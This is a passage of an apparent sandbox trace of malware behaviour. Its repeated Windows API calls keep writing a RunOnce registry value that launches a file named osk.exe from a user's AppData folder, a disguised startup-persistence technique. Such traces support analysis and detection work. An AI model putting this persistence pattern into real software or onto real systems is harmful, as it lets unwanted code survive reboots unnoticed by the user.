hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.381] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.381] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.382] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.382] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.396] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.396] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.396] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.398] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.398] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.398] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.398] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.398] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.399] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.411] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.411] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.412] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.412] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.412] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.413] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.413] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.413] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.413] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.427] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.427] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.427] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.428] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.428] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.428] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.428] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.429] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.429] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.443] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.443] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.443] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.443] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.444] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.444] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.444] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.444] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.444] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.530] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.530] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.530] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.531] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.531] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.531] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.531] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.531] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.532] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.536] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.536] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.537] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.537] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.537] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.537] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.538] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.538] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.538] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.552] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.552] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.552] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.553] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.553] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.553] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.553] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.554] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.554] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.568] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.568] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.568] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.569] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.569] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.569] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.569] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.569] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.570] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.583] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.583] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.584] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.584] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.584] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.585] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.585] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.585] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.585] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.599] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.599] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.599] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.600] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.600] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.600] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.600] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.600] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.601] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.614] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.614] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.615] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.615] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.615] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.616] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.616] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.616] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.617] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.630] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.630] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.631] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.631] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.631] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.632] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.632] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.632] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.632] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.646] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.646] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.646] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.647] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.647] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.647] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.647] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.648] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.648] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.661] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.661] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.662] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.663] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.663] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.663] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.663] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.663] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.664] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.677] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.677] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.677] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.678] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.678] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.678] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.678] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.679] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.679] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.693] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.693] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.693] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.693] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.694] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.694] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.694] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.694] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.695] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.708] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.708] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.709] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.709] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.709] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.709] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.710] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.710] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.710] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.725] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.725] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.726] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.726] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.726] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.726] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.727] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.727] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.727] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.763] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.763] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.764] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.764] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.764] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.765] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.765] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.765] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.765] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.812] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.812] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.813] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.813] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.813] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.814] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.814] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.814] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.814] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.820] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.820] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.821] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.821] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.821] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.821] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.822] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.822] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.822] GetMessageW (in: 